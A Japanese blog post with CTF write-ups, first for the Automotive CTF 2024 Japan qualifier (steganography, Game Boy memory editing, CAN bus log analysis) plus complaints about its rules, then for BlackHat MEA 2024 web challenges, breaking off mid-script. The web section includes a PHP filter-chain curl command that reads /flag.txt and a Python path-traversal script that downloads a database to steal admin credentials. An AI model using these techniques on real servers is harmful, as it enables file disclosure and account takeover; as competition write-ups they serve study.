st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Automotive CTF 2024 Japan予選 writeup

8/25から9/9の2週間という長期間*1で開催されていた。メンバー5名からなるチーム藤原豆腐店*2で参加して、2位。日本チームとそれ以外とでブラケットが分かれていたけれども、国内順位と総合順位の両方で2位だった*3。国内決勝にはほぼ確実に進めるだろう*4

さて、本大会は大きな欠陥のあるルール設計であったり、問題の質の低さであったり、フラグフォーマットの不統一や不明瞭さのような本質とは直接関係のない部分での問題であったり、粗が目立っていた。言いたいことは山ほどある*5が、もし次回大会が開催されるのであれば、改善されていることを祈りたい。

ルールの欠陥については後述する。問題の質については、合理的な手順では到底正解へたどり着けない、いわゆるエスパー要素で問題の「難易度」を担保しようとするのは、どうかやめていただきたい。このようなCTFの面白さ(あるいは、Automotive CTFの公式ページで主張している "high-stakes global automotive-focused CTF" と呼ぶに足る要素)から逸脱した試みは、プレイヤーの怒りと失望をもたらすだけだ。もっとも、これを日本語でブログ記事に書いていても運営には伝わらないので、surveyで伝えたいところ*6


writeup

[Stego 10] Stego 1 (xxx solves)

Find the hidden text

隠されたテキストを見つけてください。

添付ファイル: bhlogo.png

CTF運営のBlock Harborのロゴが与えられている。なぜステガノグラフィーの問題がこのCTFで出されているのかよくわからない*7けれども、うさみみハリケーンに同梱されている青い空を見上げればいつもそこに白い猫で色々見ていると、緑色と青色のLSBで FoundME というメッセージが隠されていた。

そのまま提出すると通った。

FoundME

[Misc 515] Gameboy Game (xxx solves)

Who needs a defcon badge when you've got an emulator? Dodge some cones, have some fun.

エミュレーターがあればDEFCONバッジはいらないですよね?コーンを避けて、楽しみましょう。

添付ファイル: game.gb

ゲームボーイのゲームのROMが与えられている。mGBA等のエミュレータに与えると、次のように起動できた。コーンを避けつつバッテリー(円形のオブジェクト)に接触して点数を稼ぎ、32767点ちょうどのときに矢印に当たればクリアらしい。

頑張れば通常プレイでも達成できそうだけれども、それは時間の無駄なのでメモリハックを試す。mGBAでTools → Game state views → Search memoryからメモリ検索用のツールを開き、まず 0New Search する。バッテリーに接触してポーズし、Search Within で現在のスコアを検索し、先程まで値が 0 だったが今は現在のスコアになっている箇所を探す。何度かスコアを変化させて絞り込んでいくと、0xcb93 に現在のスコアが格納されていることがわかる。

Tools → Game state views → View memoryで 0xcb93 に移動し、メモリを書き換えると、スコアを32767点にできた。

このまま矢印に接触すると、フラグが表示された。素直で面白い問題だった。今回見た問題の中で一番面白く感じた。

BH{CARS_HATE_CONEZ?}

[xNexus 160] Web RCE Anomaly (xxx solves)

An RCE has been logged in xNexus, what was the exploit used? The answer should be enclosed in the proper flag format of this game.

xNexus account - https://(省略)

Note: Modificiation of the account password will result in immediate disqualification of your ENTIRE team from the CTF. DO NOT MODIFY.


xNexusにログとして記録されたRCEは、どういうエクスプロイトが使用されましたか?本ゲームのフラグ形式で答えを囲む必要があります。

xNexusアカウント - https://(省略)

注意:アカウントパスワードは変更しないでください。変更した場合、失格とさせていただきます。

VicOneが提供している、脅威を可視化できるxNexusというプラットフォームへの接続情報が与えられている。問題文から察することができるけれども、どうやら全チームが同一の環境らしい。メニューの項目がそこそこある中でひとつひとつ、ポチポチ触っていると、Incident Detection → OAT DetectionsからShellshock(CVE-2014-6271)が検知されている様子が確認できた。

ではと BH{Shellshock} を試す。通らない。色々試していると、全小文字の bh{shellshock} で通った。フラグフォーマットに大文字小文字にと、まったく本質的ではない部分で少し悩んでしまった。こんなどうでもいいところでcase-sensitiveにフラグの受け付けをされても困る。

Shellshockを悪用した攻撃が検知されたという情報を見つけた時点で解けたといってもよい(これがこの問題でもっとも本質的な部分である)わけで、BH{Shellshock} でも BH{SHELLSHOCK} でも、なんなら問題文での指定を無視して bh{} で囲んでいない、かつ一般的な表記でない shell shock やCVE番号を提出した場合でも通すべきではないか。

このShellshockはfalse positiveだったり、あるいは検知して侵入は防がれていたりで実はrabbit holeであって、ほかにShellshock以外の脆弱性を使ってRCEにいたっている記録があるのではないかと考えてしまった。あるいは、問題文では「どういうエクスプロイト」かと聞かれているから、答えるのは脆弱性の通称ではないのかとも。が、これ。「検出された脆弱性のCVE番号を bh{} で囲ったものをフラグとして提出してください。例: bh{CVE-2024-4577}」 ぐらいに明確な形で指定してほしい。

bh{shellshock}

[xNexus 885] Can bus anomaly #1 (xxx solves)

Analyze CAN Bus Data anomalies and find the pattern. Answer should be enclosed in the standard format flag.

xNexus account - https://(省略)

Note: Modificiation of the account password will result in immediate disqualification of your ENTIRE team from the CTF. DO NOT MODIFY.


CANバスデータの異常を分析し、パターンを見つけてください。回答を標準のフラグ形式で囲んでください。

xNexusアカウント - https://(省略)

注意:アカウントパスワードは変更しないでください。変更した場合、失格とさせていただきます。

このプラットフォームでは、不審なCANのデータが検知された際にその内容も記録されており、先程使ったIncident Detection → OAT Detectionsで、個別のデータの詳細から閲覧できるようになっている。

1個1個CANのデータを手作業で見ていくのも面倒なので、というよりも何千件もあってとても無理なので、叩かれているAPIを解析することにした。ChromeのDevToolsでNetworkタブを開いてレスポンスを眺めていると、主たるデータは /internal/uic/bff/api/v1/detection/query から得ていることがわかった。パラメータとして取得する期間であったり、ページングにあたっての1ページあたりのデータ数であったりが与えられている。このリクエストを改変して、2024-02-25以降の全件を取得しJSONとして保存した。

次のスクリプトで、CANのIDとデータをペアとして出現した全組み合わせを出力する。

import binascii
import re
s = ''
for i in range(1, 10):
    with open(f'aa-{i}.json') as f:
        s += f.read()

a = re.findall(r'can_frame\\\\\\": \\\\\\"([0-9a-f]+)', s)
b = re.findall(r'can_id\\\\\\": 0x([0-9a-f]+)', s)
for x, y in zip(a, b):
    print(x, y)

実行結果は次の通り。

$ python3 s.py | sort -k 2 | uniq
0000000000000000 00000000
0101010101010101 00000000
0202020202020202 00000000
0b0b0b0b0b0b0b0b 00000000
1234 00000000
0000400000000000 00000094
0000800000000000 00000094
0200000000000000 00000094
0279660000000000 00000094
1337c00000beff00 00000094
6c346700000000 00000094
005000007a370200 000000aa
0000 000002bc
038a 000002bc
0503 000002bc
1234 000002bc
005000007a370200 00000323
005000007a370200 00000427
005000007a370200 00000465
005000007a370200 000004e8
005000007a370200 00000554
005000007a370200 00000560
0210020000000000 00000645
0211010000000000 00000645
023e000000000000 00000645
0314ff0000000000 00000760
0354ff000000346c 00000768
037f147800000000 00000768
6f6d346e00000000 00000768
037472793a5e2065 1cebff29

「CANバスデータの異常」だとか「パターン」だとか言われても指示があまりに曖昧で、かえって思考にあたってのノイズにしかならない。一度問題文のことは忘れてエスパーによって変な部分を見つけることにする。特に以下のデータがCANのデータとしては不自然な上に、ほぼASCIIの範囲内で構成されており、また繰り返し送信されており怪しい。

0279660000000000 00000094
6c346700000000 00000094
6f6d346e00000000 00000768
0354ff000000346c 00000768

デコードすると以下のような文字列が出てくる。

yf
l4g
om4n
4l

om4n…fl4g…オマーンの国旗? いや、そんな問題やCTFと関係なさそうなフラグであるわけはないと思いつつも一応試し、失敗し、また別のそれっぽい文字列ができないかと適当に組み合わせていく。4nom4lyfl4g (= anomaly flag)という文字列が見えた。

これを問題文の指示通りに「標準のフラグ形式」にあわせて提出すると、無事正答と判定された。明確に bh{} で囲めと指示してほしい。ここまでで大文字である BH{} で囲んだり、あるいは囲まなかったりと「標準のフラグ形式」も何もないフラグが出現しているのだから。なお、フラグフォーマットについて、ルールページでは「典型的なフラグのフォーマットはBH{FLAG}です」または「Typical flag format is BH{FLAG}」とされている。

CANについて何も詳しくない人間がエスパーだけで完全に通してしまったわけだけれども、詳しい人であればより筋道の通った解法で解くことができたのだろうか。特に文字列の並び替えについて、適当に組み合わせることでそれっぽい単語が出てきた、というようなものでなく、この順番が正しいと確証を持って言えるような証拠はあったのだろうか。

bh{4nom4lyfl4g}

[xNexus 940] Can bus anomaly #2 (xxx solves)

Someone is trying to disable the ESP and the power assisted system. Go track that anomaly with CAN ID 0x0645 and determine what car is being targeted for that kind of attack. The vehicle is the flag enclosed in the proper flag format.

xNexus account - https://(省略)

Note: Modificiation of the account password will result in immediate disqualification of your ENTIRE team from the CTF. DO NOT MODIFY.


誰かがESPとパワーアシストシステムを無効にしようとしています。CAN ID 0x0645でその異常を追跡し、そのような攻撃の対象となっている車を特定してください。その車が適切なフラグ形式で囲まれたフラグです。

xNexusアカウント - https://(省略)

注意:アカウントパスワードは変更しないでください。変更した場合、失格とさせていただきます。

#1 の続きらしい。/internal/uic/bff/api/v1/detection/query から得られた、CAN IDが0x0645であるデータは次の通り。jptomoyaさんの見解では「EPSを無効化しようとしてるという問題文と合致し」ているということだった。しかしながら、同APIで得られる情報にはさらに有益なものはないように思える。

0210020000000000 00000645
0211010000000000 00000645
023e000000000000 00000645

ところで、フラグとして求められているのは「what car is being targeted for that kind of attack」もしくは「攻撃の対象となっている車」だ。これまたどの程度の粒度で答えればよいかわからないような曖昧さで大変困ってしまう。VIN、車種、型式、色々考えられるけれども。少なくともVINはAPIから得られたものを、VIN単体、bh{}BH{} で囲ったものを投げてもどれも通らない。

Satokiさんがフラグフォーマットについて運営に聞いたところ、bh{Toyota Hilux Conquest} のような粒度で答えろということだった。どうせ聞かれたら答えるのならば、最初から問題文で例示すればよいではないか。何度も聞かれているだろうし、後からでも書き加えればよいではないか。なぜこういった形で解答にあたってほとんど必須とも言えるような情報を隠し、悩みに悩んでわざわざ運営にまで聞きに行った一部のチームだけ特定の情報を得られているというフェアでない状況を作り出すのか、理解に苦しむ。

さて、「トヨタのHilux Conquest」というレベルで車の情報がわかるような証拠はどこかにあるだろうか。まずAPIにそういった情報がないか疑う。またDevToolsを眺めていると、/internal/uic/fats/api/v1/integration_config/bh/targets で以下のようなJSONが返ってきていた。ターゲットに紐づいたキーワードとして Lexus とある。しかしながら、Hilux Conquest という例と比較すると情報が足りないように思える。一応 LexusLexus LX 等のそれっぽいものを試してみるものの、いずれも通らなかった。

{
    "code": 0,
    "message": "Success",
    "data": {
        "targets": [
            {
                "id": "3c7d4fb4-1ca4-4300-bf09-c41e0e11103d",
                "type": "keyword",
                "name": "Mach-E",
                "is_linked": 1,
                "keyword_list": [
                    "Lexus"
                ],
                "keyword_sync_time": "2024-04-26T01:23:11.743Z"
            },
            {
                "id": "94bc2c27-ae8c-4239-bc1a-f35ef3daba77",
                "type": "keyword",
                "name": "BWI",
                "is_linked": 0,
                "keyword_list": [],
                "keyword_sync_time": "0001-01-01T00:00:00Z"
            },
            {
                "id": "ecbd493c-760c-46fa-ae2c-321bc0f5a7b5",
                "type": "xCarbon",
                "name": "Mach-E BMS",
                "model_id": "Mach-E",
                "device_type": "BMS",
                "is_linked": 1,
                "keyword_list": [],
                "keyword_sync_time": "0001-01-01T00:00:00Z"
            },
            {
                "id": "377ff399-45c9-4292-acce-bd9e2b6a6a26",
                "type": "xCarbon",
                "name": "Mach-E CGW",
                "model_id": "Mach-E",
                "device_type": "CGW",
                "is_linked": 0,
                "keyword_list": [],
                "keyword_sync_time": "0001-01-01T00:00:00Z"
            }
        ]
    }
}

もっと深い情報が得られるAPIがあるのではないか。チームieraeのWebが得意なtyageさんがすでに解いているとスコアボードからわかっていたから、そういったWebベースのアプローチを考えた。こういうちょっとしたメタな情報にも頼りたくなるほどに、何をすればよいのかわからない。

このプラットフォームのフロントエンドはVite + Reactで作られているようだけれども、JSファイル中にAPIの一覧は存在していないか。/assets/index-CuKdG4TM.js を眺めていると、次のようなものが見つかった。これまで見たことのないAPIも含まれているように思える。ただ、どれも微妙そうだ。隠しAPI等を触っていると、問題文中の「アカウントパスワードは変更しないでください。変更した場合、失格とさせていただきます」のような注意に引っかかってしまうかもしれないので、どうしても解けないという場合に詳しく見ることにした。

zT0="internal/uic/bff/api/v2/session/"
DY0="internal/uic/bff/api/v1/user/switch"
OT0="internal/uic/idp/api/v1/token/api/issue/3rd/svp"
hT0="internal/uic/bff/api/v1/vehicle/brand/0/models"
TT0="login/verify_activation_code"
vT0="login/setup_password"
mT0="internal/uic/bff/api/v1/account/change_password"
qT0="internal/uic/bff/api/v1/account/list"
CT="internal/uic/bff/api/v1/account"
gT0="internal/uic/bff/api/v1/account/send_mail"

悩んでいるうちに、CODEGATE CTF 2024決勝大会のためにソウルへ飛ぶ日が来てしまい、一旦中断する。ほかのメンバーもほとんどが同じく韓国へ行く中で、我々は暇な時間に取り組んだり、あるいはjptomoyaさんが日本でじっくり考えたりしてくれていた。我々はこの問題だけを残した状態であったが、韓国へ行っている間にイエラエが全完し追い抜かれてしまう。仕方がない。

CAN IDについて「700番代以外に診断通信が載るのは車種が絞られる」のではないか。(0x0645のデータとは関係ないが)DEF CONのCar Hacking Village CTFで出たらしい問題のデータと類似しているものがあり、これと関連しているのではないか。悩んでいる中で、jptomoyaさんやsugiさんからこういったアイデアが出ていた。

後者のsugiさんのアイデアを少し掘ってみることにした。別のソースであるところのNRIセキュアさんのブログでNDIASさんのメンバーが出したレポートを読んだり、YouTubeに上がっている同CTFをレポートしている動画を確認したりしてみるものの、特に有益な情報は得られなかった。同CTFで登場した車の情報を投げたりしてみるものの、これも通らなかった*8

jptomoyaさんは、前者のアイデアをさらに深堀りして、CAN IDからこの車はTeslaではないかと推理をしていた。なるほど、やはり問題文で言及されている通りにCANのデータが重要なのだろうと思い直す。

韓国から帰国した後に、この問題を再び見る。攻撃対象の車がTeslaのものであると仮定して、なにか情報を得られないかと思い、雑に問題文で言及されているCAN IDと組み合わせて「"0x0645" tesla」で検索してみたところ、FREE-FALL: HACKING TESLA FROM WIRELESS TO CAN BUSという資料を見つける。送信されているバイト列が一致している。この攻撃の対象となっている車はなにか。1ページ目に次のような記述があった。

We have successfully tested our vulnerabilities on Tesla Model S P85 and P75, the latest version at that time was as follows.

試してみる。Tesla Model S P85 が正解であった。前述のようにこれが我々に残された最後の問題であり、ふざけるなよという気持ちもありつつ、ようやくこのCTFから解放されたという爽快感もあった。xNexusや、そもそもCANやら車やらにはまったく詳しくないので、この怒りが正当なものかはわからない。

とりあえず、bh{Toyota Hilux Conquest} というフラグの例を出しておいて結局ここまで詳しく解答しなければならなかったという点で、運営のミスリーディング*9には怒りを覚えているけれども、実はxNexusのどこかのAPIからTesla Model S P85という情報が得られたのかもしれない。まともな解法が存在していることを祈りたいし、運営が自らwriteupを公開することを願いたい。

bh{Tesla Model S P85}

ルール面での問題について

このCTFを勝ち進んでいくと、最終的にアメリカはデトロイトで10月下旬に開催される決勝大会へ、VicOneが旅費・滞在費を負担の上で参加することができる。日本の大会は経済産業省主催で「Automotive CTF Japan」とされており、こちらはまず今回のオンライン予選があり、そこから上位5チームが国内決勝へ進み、そしてさらにその上位2チームがデトロイトの決勝へ進むという流れになっていた。デトロイトの決勝には海外からも4チームが参加する。これらの海外チームについては、同じオンライン予選から直接選ばれるようになっていた。

さて、これを見ると日本チームがデトロイトの決勝へ進みやすくなる良心的なルールに思える*10けれども、今回は違っていた。今回は日本チームであるierae, 藤原豆腐店, FCCPCが海外チームを含めた総合順位で4位以内に入っていた。これらは海外チームであったならばそのままデトロイト決勝へ行けるところ、ルールの解釈によっては、日本チームであったがためにわざわざ日本決勝まで勝ち抜かなければならないという理不尽な状況に陥る可能性がある。

英語版のルールにはグローバル枠の参加資格に "From any country/region" とあり、日本在住者はグローバル枠では参加できないとする記述は見当たらないことから、日本チームがグローバル枠で参加する余地も残されているように思える*11。上述の3つの日本チームはグローバル枠としてデトロイトの決勝へ進出できるか、もしくは日本枠からグローバル枠へ切り替えることはできるかと、Discordの誰でも閲覧可能な質問用チャンネルで日本側運営とグローバル側運営の双方へ同時に、9/3に質問した*12

日本運営からは、日本語版のルールでは日本在住者はグローバル枠で参加できないとしている(ならば、英語版のルールの記述や、同様の質問へのBlock Harborの対応はなんなのだろうか)と同日に回答があった*13。問題を認識しつつも「来年もAutomotive CTFを開催する場合は、今回いただいたご意見については改めて検討」するとし、まさに今、解決へ動いていただけない(少なくとも表面上はそう見える)という、事なかれ主義ともいえる運営による不作為を残念に思った。

グローバル運営からは、9/6に "It is under review" という返答があったが、9/9 12時時点でまだ質問への明確な回答は得られていない。9/13に日本決勝がある(予選からもう少し間隔を空けてほしいし、それで土日でなく金曜日開催というのは困る人が多いと思うのだけれども…)ので、早く回答があると嬉しい。両運営の、あるいはどちらか一方の適正な判断を期待している。もっとも、グローバル運営の方もDiscord上で(私の質問には回答しないまま)次のようなアナウンスをしており、まったく期待できないのだけれども。

The Block Harbor x VicOne Automotive CTF Season 2 Qualification rounds have come to close! Thanks for playing everyone! We will confirm the winners soon. For those entering the next rounds of the competition we will reach you via email.

(2024-09-09追記)残念ながら以下のような回答があり、グローバル運営もこの理不尽なルールを是とするということだった。

Since we had multiple sponsors including the Ministry of Economy, Trade, and Industry in Japan, there was an additional event locally intended for the residents of Japan. We will consider a single bracket in next years competition to alleviate this issue. Although there was a discrepancy in the global rules and Japanese rules about which bracket you could signed up for, both rules were clear once you established and competed in the [Japan] backet you could not switch to [rest of world] bracket.

(追記終わり)

*1:全部で29問と少なく、早々に複数チームが全完しており、問題数やその難易度に対しては長すぎたように思える。ただ、それは普段からCTFをアホみたいに遊んでいるプレイヤーの発想であって、普段から遊んでいない人にも遊んでもらえる、長い期間のどこか時間のあるタイミングで、あるいはじっくりと取り組んでもらえるといったことを考えると、開催期間が長いというのは問題ではないように思う。勝つ気で挑戦しているチームにとっては苦しい期間が長く続くことになるが…

*2:メンバーの名字にちなんでおり、自動車に関連するCTFであったことを絡めてこのチーム名を提案したところ通った。なお、頭文字Dは未読だし未視聴だ

*3:イエラエはさすがの強さを見せていた

*4:なにか理由をつけてBANされない限りは

*5:正直なところ、大きな問題が複数あるために、列挙しようにも細かな問題を思い出せない

*6:あるならば

*7:それだけでなく、1カテゴリとして独立させられるほどにステガノグラフィーの問題が出題されるのもよくわからない。これは "high-stakes global automotive-focused CTF" ではなかったか。自動車に関連しておりかつステガノグラフィー問であるというのも意味がわからないが

*8:あり得ないと思いつつも、あり得ないと思ったアイデアが通ってしまうのをほかの問題で何度も見てきたから、まったくもって合理的でないひどいアイデアでも、思いついたらとりあえず試していた

*9:運営によるミスリーディングはこの問題に限らない

*10:つまり、日本チームが総合順位で4位以内に入れない状況であったならば、日本チームにとって利益となるようなルールであった。その場合は私は不満を抱かなかっただろうし、ポジショントークと思われ得るという自覚はある

*11:また、CTF開始前に同様の質問をした際に、今回CTFを運営しているBlock Harborから、日本在住者でもグローバル枠で参加可能であると回答が得られたという他チームの方がいた

*12:ieraeやFCCPCを含む他チームの方々から、同チャンネルでこの質問に関連する様々な意見を投稿いただいており、深く感謝している。ありがとうございます

*13:英語版のルールでそのような記述があると示しつつ質問したのだけれども、その記述の違いには日本運営からは言及がなかった

BlackHat MEA CTF Qualification 2024 writeup

BunkyoWesternsで参加して140位。うーむ。例年通り250チームがサウジアラビアはリヤドで開催される決勝へ行け、また上位10チームには旅費が支給されるということだったけれども、かなりの激戦となっていた。


[Web 110] Free Flag (349 solves)

Free Free

添付ファイル: challenge-files-cfcb9d9b-7f12-440b-9a17-b7f3e2112980.zip

Dockerfile からフラグは /flag.txt に存在しているとわかる。Webサーバ上でPHPコードが動いており、その内容は次の通り。任意のファイルを file_get_contents で読めるけれども、その内容はファイルが <?php もしくは <html から始まっていなければ教えてくれない。flag.txt は当然それらの文字列から始まっていないので、読み取れないように見える。

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Free Flag</title>
</head>
<body>
    
<?php


function isRateLimited($limitTime = 1) {
    $ipAddress=$_SERVER['REMOTE_ADDR'];
    $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
    $lastRequestTime = @file_get_contents($filename);
    
    if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
        return true;
    }

    file_put_contents($filename, time());
    return false;
}


    if(isset($_POST['file']))
    {
        if(isRateLimited())
        {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
        {
            die("catched");
        }
        else
        {
            echo file_get_contents($file);
        }
    }

?>
</body>
</html>

ならば、強引に <?php<html から始めさせればよい。file_get_contents といえばプロトコル/ラッパーで、これを使えばたとえば php://filter/convert.base64-encode/resource=/flag.txt/flag.txt をBase64エンコードした内容が得られる。これを発展させて、強引に任意の文字列を作り出すことができる。

この記事に登場するスクリプトを少し改造して、/flag.txt の前に <?php をくっつけて出力してくれるようなURLを得る。これを投げると、次のような結果が得られた。

$ curl -d "file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/flag.txt" http://(省略) --output - 2>/dev/null | xxd
00000000: 3c68 746d 6c20 6c61 6e67 3d22 656e 223e  <html lang="en">
00000010: 0a3c 6865 6164 3e0a 2020 2020 3c6d 6574  .<head>.    <met
00000020: 6120 6368 6172 7365 743d 2255 5446 2d38  a charset="UTF-8
00000030: 223e 0a20 2020 203c 6d65 7461 206e 616d  ">.    <meta nam
00000040: 653d 2276 6965 7770 6f72 7422 2063 6f6e  e="viewport" con
00000050: 7465 6e74 3d22 7769 6474 683d 6465 7669  tent="width=devi
00000060: 6365 2d77 6964 7468 2c20 696e 6974 6961  ce-width, initia
00000070: 6c2d 7363 616c 653d 312e 3022 3e0a 2020  l-scale=1.0">.
00000080: 2020 3c74 6974 6c65 3e46 7265 6520 466c    <title>Free Fl
00000090: 6167 3c2f 7469 746c 653e 0a3c 2f68 6561  ag</title>.</hea
000000a0: 643e 0a3c 626f 6479 3e0a 2020 2020 0a3c  d>.<body>.    .<
000000b0: 3f70 6870 06c9 0a50 d092 119b 1859 d65e  ?php...P.....Y.^
000000c0: cd4c 4d18 98d9 4d19 0c0c 98d8 4c98 984e  .LM...M.....L..N
000000d0: 584d d88c 0ccc 4d8c 588d 4d4c 0c58 4c0c  XM....M.X.ML.XL.
000000e0: 5f42 83e0 03d0 03d0 f800 f400 f43e 003d  _B...........>.=
000000f0: 003d 0f80 0f40 0f43 e003 d003 d0f8 00f4  .=...@.C........
00000100: 00f4 3e00 3d00 3d0f 800f 400f 3c2f 626f  ..>.=.=...@.</bo
00000110: 6479 3e0a 3c2f 6874 6d6c 3e0a            dy>.</html>.

次に、どんな文字列が先程のフィルターを通ると、出力されたバイト列ができあがるのかを特定する必要がある。頑張ればいい感じにデコードするスクリプトが書けるのだろうけれども、面倒だったのでブルートフォースで1文字ずつ特定するスクリプトを書いた。

<?php
function compare($a, $b) {
    $l = min(strlen($a), strlen($b));
    $r = 0;
    for ($i = 0; $i < $l; $i++) {
        if ($a[$i] === $b[$i]) $r++;
    }
    return $r;
}

define('TARGET', hex2bin('3c3f70687006c90a50d092119b1859d65ecd8c0d18d94c990d8e19994d8c98d9184c8cd94c4c4c8d4c584ccd0c4e0c19995f4283e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f'));

function conv($s) {
    $r = 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=data:,' . $s . '%0a';
    return file_get_contents($r);
}

function go($s) {
    return compare(conv($s), TARGET);
}

$table = '0123456789abcdef{}Y';

$res = 'BHFlag';

while (true) {
    $mi = 0;
    $mc = '';
    echo "[progress]";
    foreach (str_split($table, 1) as $a) {
        echo "$a";
        foreach (str_split($table, 1) as $b) {
            foreach (str_split($table, 1) as $c) {
                $tmp = $res.$a.$b.$c;
                $l = go(str_pad($tmp, 41, 'X'));
                if ($l > $mi) {
                    $mc = $a;
                    $mi = $l;
                }
            }
        }
    }
    $res .= $mc;
    echo "\n" . $res . "\n";
}

これを実行するとフラグが得られた。

$ php solve.php
…
BHFlagY{604ce2d68fe62cda23e11251a34180f
[progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe
[progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe0
[progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe}

なかなか強引な解法だったけれども、ほかのプレイヤーのwriteupを見るとwrapwrapという便利なツールがあったらしい。なるほどなあ。

[Web 120] Watermelon (465 solves)

All love for Watermelons 🍉🍉🍉

Note: The code provided is without jailing, please note that when writing exploits.

添付ファイル: challenge-files-43c405e8-0c8e-4e24-8578-9d5a0945113a.zip

いい感じにログインできるPython製のWebアプリが与えられている。コードがちょっと長いので、少しずつ見ていく。まず重要な箇所として、どのような条件でフラグが得られるかだけれども、これは admin というユーザになればよいらしい。

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

# …

@app.get('/admin')
@admin_required
def admin():
    return os.getenv("FLAG","BHFlagY{testing_flag}")

ファイルアップロード機能がある。何やらアップロード時に secure_filename でPath Traversal対策をしようとしているようだけれども、結局アップロードしたファイルを参照する際に使っているパスが file_path とガバガバな方なので、普通にPath Traversalができそう。ただ、proc, self, environ, env といった文字列がパスに含まれると弾かれるので、環境変数を見て直接フラグを得るというのはできなそう。なんとかして、admin の認証情報を得られないか。

@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500

DBは db.db というファイルに保存されているらしい。これだ。

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' 

/app/instance/db.db を読み出し、そこから admin の認証情報を盗み取ってログインし、フラグを得るスクリプトを用意する。

import uuid
import sqlite3
import httpx

with httpx.Client(base_url='http://(省略)', timeout=60) as client:
    u = str(uuid.uuid4())
    p = str(uuid.uuid4())
    client.post('/register', json={
        'username': u,
        'password': p
    })
    client.post('/login', json={
        'username': u,
        'password': p
    })

    client.post('/upload', files={
        'file': ('../../../../../../app/instance/db.db', b'poyo')
    })
    r = client.get('/files')
    i = r.json()['files'][0]['id']
    r = client.get(f'/file/{i}')
    with open('aaa.db', 'wb') as f:
        f.write(r.content)

    con = sqlite3.connect('aaa.db')
    cur = con.cursor()
    res = cur.execute('SELECT password FROM user WHERE username = "admin"')
    p = res.fetchone()[0]

    client.post('/login', json={
